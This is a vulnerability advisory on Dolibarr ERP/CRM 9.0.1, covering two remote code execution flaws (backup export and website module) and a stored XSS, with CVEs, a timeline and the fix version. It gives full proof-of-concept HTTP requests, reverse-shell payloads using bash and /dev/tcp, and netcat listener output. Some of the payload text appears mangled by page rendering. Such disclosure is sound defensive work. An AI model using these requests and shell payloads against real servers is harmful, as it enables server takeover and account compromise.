Dolibarr Advisory Summary
Dolibarr ERP & CRM is an open source and free software package that manages companies, freelancers, and foundations. The project’s official website is https://www.dolibarr.org/. The latest version of the application is 9.0.3, released in May 2019.
Impact
Exploiting these vulnerabilities would allow a low-privileged application user to execute malicious code on the server or escalate their privileges to become an administrative user. As an admin, the attacker could compromise all other user accounts and application data.
High and Medium Risk Level
Product Vendor |
Product Name |
Affected Version |
Dolibarr Foundation | Dolibarr ERP & CRM | 9.0.1 |
Vulnerabilities List:
- REMOTE CODE EXECUTION - BACKUP FUNCTIONALITY
- REMOTE CODE EXECUTION - WEBSITE MODULE
- CROSS-SITE SCRIPTING (STORED)
Solution
Update to version 9.0.3
Credits
- Priyank Nigam, Security Analyst, Bishop Fox - [email protected]
Timeline
- 04/05/2019: Initial discovery
- 04/16/2019: Contact with Vendor, Vulnerability details sent
- 04/25/2019: Vendor publishes fix
- 05/01/2019: Fix verified; possible bypass suggested under specific conditions. Vendor remains unresponsive; however, the severity is lowered
- 07/25/2019: Public Disclosure
Dolibarr Vulnerabilities
Remote Code Execution - Backup Functionality
The Dolibarr ERP/CRM application is affected by two instances of remote code execution. One can be exploited by a low-privilege user, while the other requires administrative privileges. However, escalating privileges to become an administrative user is easily accomplished through the third vulnerability: stored cross-site scripting vulnerability (described later).
The Dolibarr ERP/CRM application provides a web-based functionality that backs up the application database content to a dump file. However, the application performs insufficient checks on the mysqldump
export parameter , which can be made to execute arbitrary binaries on the server. Malicious binaries can be uploaded by manipulating other functionalities of the application.
CVE ID |
Security Risk |
Impact |
Access Vector |
CVE-2019-11200 | High | Code Execution | Remote |
Further Details
- Vulnerability: CWE-94
- CVSS Base Score: 8.4
- CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:P
The Dolibarr ERP/CRM installation configures the list of allowed commands as follows:
fputs($fp, '$dolibarr_main_restrict_os_commands=\'mysqldump, mysql, pg_dump, pgrestore\';');
The following implementation insufficiently enforces this restriction when the export is executed:
~/admin/tools/export.php
123. if ($what == 'mysql')
124. {
125.
126. $cmddump=GETPOST("mysqldump"); // Do not sanitize here with 'alpha', will be sanitize later by dol_sanitizePathName and escapeshellarg
127. $cmddump=dol_sanitizePathName($cmddump);
128.
129. if (! empty($dolibarr_main_restrict_os_commands))
130. {
131. $arrayofallowedcommand=explode(',', $dolibarr_main_restrict_os_commands);
132. $ok=0;
133. dol_syslog("Command are restricted to ".$dolibarr_main_restrict_os_commands.". We check that one of this command is inside ".$cmddump);
134. foreach($arrayofallowedcommand as $allowedcommand)
135. {
136. if (preg_match('/'.preg_quote($allowedcommand,'/').'/', $cmddump))
137. {
138. $ok=1;
139. break;
140. }
141. }
142. if (! $ok)
143. {
144. $errormsg=$langs->trans('CommandIsNotInsideAllowedCommands');
145. }
146. }
Figure 1 - Insufficient checks on $allowedcommand
As highlighted above, the preg_match
method performs a regular expression check to find a given pattern. In the above check on line 136, the $cmddump
variable (which is user-controllable) is checked against pattern configured in $dolibarr_main_restrict_os_commands
variable. Thus, any uploaded file that is named appropriately (i.e., that satisfies this regex pattern) can be passed in as a valid command.
For example, a file named mysqldump.sh
was uploaded. Since the default root directory for uploads (on a Linux system) is /var/lib/dolibarr/documents
, this full path was passed in to the mysqldump
parameter as follows:
Request
POST /dolibarr/admin/tools/export.php HTTP/1.1
Host: localhost
…omitted for brevity…
token=%242y%2410%24lLhqnU1JMHXe6oynb5tdueWz9u9lcwMFAqlXQjrYtMkJusob3o8hm&export_type=server&what=mysql&mysqldump=/bin/bash$IFS'%2Fvar%2Flib%2Fdolibarr%2Fdocuments%2Fusers%2F1%2Fmysqldump.sh'&sql_compat=NONE&sql_structure=structure&drop=on&sql_data=data&showcolumns=yes&extended_ins=yes&hexforbinary=yes&nobin_drop=on&filename_template=mysqldump_dolibarrdebian_9.0.1_201904052048.sql&compression=gz
Response
HTTP/1.1 302 Found
Location: dolibarr_export.php
…omitted for brevity…
The page attempts to filter out spaces within the mysqldump parameter
, but this restriction can be bypassed by using a special $IFS
shell variable (Internal Field separator) as highlighted above. After this request is processed, the code contained in mysqldump.sh
is successfully executed.
During testing, the mysqldump.sh
contained the following contents:
#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/8000 0>&1
After the file is successfully executed on the server, a shell is received on the local listener:
# nc -lvp 8000
listening on [any] 8000 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 49882
bash: cannot set terminal process group (3080): Inappropriate ioctl for device
bash: no job control in this shell
www-data@kali:/usr/share/dolibarr/htdocs/admin/tools$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Thus, arbitrary code can be executed under the context of the www-data
user. Depending on the configuration of the server, various techniques can then be leveraged to escalate one’s privileges to the root
user.
Remote Code Execution - Website Module
The Dolibarr ERP/CRM application provides a module named website that provides an editor tool for creating web pages with a WYSIWYG editor. It was identified that the editor also allowed inclusion of dynamic code, which can lead to code execution on the host machine. To exploit the vulnerability, an attacker would need to check a setting on the same page to specify the inclusion of dynamic content. Through this method, a lower-privileged user of this application can execute code under the context and permissions of the underlying web server.
CVE ID |
Security Risk |
Impact |
Access Vector |
CVE-2019-11201 | High | Code Execution | Remote |
Further Details
- Vulnerability: CWE-94
- CVSS Base Score: 9.0
- CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H/E:P
To demonstrate server-side code execution, the following proof-of-concept request spawns a reverse shell:
Request
POST /dolibarr/website/index.php HTTP/1.1
Host: localhost
…omitted for brevity…
-----------------------------529557626313785872578412864
Content-Disposition: form-data; name="token"
$2y$10$58Ctom2OvP.23NS7xId6VOTar3Zmbmp/qTXg85t8lAnB9oWNhu5VO
-----------------------------529557626313785872578412864
Content-Disposition: form-data; name="action"
updatesource
-----------------------------529557626313785872578412864
Content-Disposition: form-data; name="website"
ddd
-----------------------------529557626313785872578412864
Content-Disposition: form-data; name="pageid"
1
-----------------------------529557626313785872578412864
Content-Disposition: form-data; name="update"
Save
-----------------------------529557626313785872578412864
Content-Disposition: form-data; name="PAGE_CONTENT"< !--?php shell_exec("/bin/bash -c 'bash -i -->& /dev/tcp/127.0.0.1/1234 0>&1'");
!-- At least 2 div required to avoid ckeditor to insert a p --
<div class="dolcontenteditable" contenteditable="true"><div>
</div></div>
?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/127.0.0.1/1234 0>&1'"); ?></span>
<img src=https://google.com">
<h1>fff</h1>
-----------------------------529557626313785872578412864--
Response
HTTP/1.1 302 Found
X-XSS-Protection: 0
Location: /dolibarr/website/index.php?website=ddd&pageid=1
Once the redirect is followed, a shell is caught on the local listener:
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 41040
bash: cannot set terminal process group (52956): Inappropriate ioctl for device
bash: no job control in this shell
www-data@kali:/usr/share/dolibarr/htdocs/website$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@kali:/usr/share/dolibarr/htdocs/website$ whoami
whoami
www-data
Thus, arbitrary code can be executed under the context of the www-data
user. Depending on the configuration of the server, various techniques can then be leveraged to escalate privileges to root user.
Stored Cross-Site Scripting
The Dolibarr ERP/CRM application was affected by an instance of cross-site scripting (XSS) vulnerability that could be exploited via uploaded files. These vulnerabilities allowed the execution of a JavaScript payload each time a regular or administrative user clicked on the malicious link hosted on the same domain. The vulnerabilities could be exploited by low-privileged users to target administrators and further exploit the remote code execution vulnerabilities also found within this version of Dolibarr. Alternatively, these could also be used to add arbitrary users (including the active account) to the administrators group.
CVE ID |
Security Risk |
Impact |
Access Vector |
CVE-2019-11199 | High | Client-side code execution via Cross-site scripting | Remote |
Further Details
- Vulnerability: CWE-79
- CVSS Base Score: 8.0
- CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H/E:P
The Dolibarr ERP/CRM application allows for user-uploaded files. It suffixes the filename of the uploaded file with a .noexe for files that may contain active content (e.g., HTML or PHP).
However, code review revealed that the viewimage.php page did not perform any contextual output encoding and would display the content within the uploaded file with a user-requested MIME type:
~/htdocs/viewimage.php
167. // Define mime type
168. $type = 'application/octet-stream';
169. <span style="color:#ff0201;">if (GETPOST('type','alpha')) $type=GETPOST('type','alpha');</span>
170. else $type=dol_mimetype($original_file);
Figure 3 - User-specified MIME type
Thus, requesting a user-uploaded file with the text/html MIME type would result in execution of arbitrary JavaScript payloads within that file.
Request
POST /dolibarr/user/card.php?id=7 HTTP/1.1
Host: localhost
…omitted for brevity…
-----------------------------1552262556268746163517213400</span>
Content-Disposition: form-data; name="token"
$2y$10$g/GqB43gf6OqW.vTzd1xke4/HLuWUOifYfzIpifRuYPMz0q3LaECC
-----------------------------1552262556268746163517213400
Content-Disposition: form-data; name="action"
update
…omitted for brevity…
-----------------------------1552262556268746163517213400
Content-Disposition: form-data; name="photo"; filename="test.html"
Content-Type: text/html
<span style="color:#ff0201;font-size:16px;"> </script></span>
…omitted for brevity…
Response
HTTP/1.1 200 OK
Vary: Accept-Encoding
Content-Length: 36187
…omitted for brevity…
As mentioned earlier, the filename would be suffixed with a .noexe
and thus the uploaded filename would be test.html.noexe
.
The file when requested via viewimage.php
would result in the execution of the stored XSS payload:
Request
GET /dolibarr/viewimage.php?modulepart=user&file=7/test.html.noexe&type=text/html HTTP/1.1
Host: localhost
Response
HTTP/1.1 200 OK
Content-Disposition: inline; filename="test.html.noexe"
Connection: close
Content-Type: text/html; charset=UTF-8
<script> alert(document.domain + '\nXSS');</script>
The JavaScript payload executes within the application’s origin. In this example, a simple alert box was used to show its successful execution:
The XSS payload can also be used to create a high-privilege administrative user. The exploit code is included in Appendix A below.
Appendix A
Download Appendix A, which contains the XSS payload, here.
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.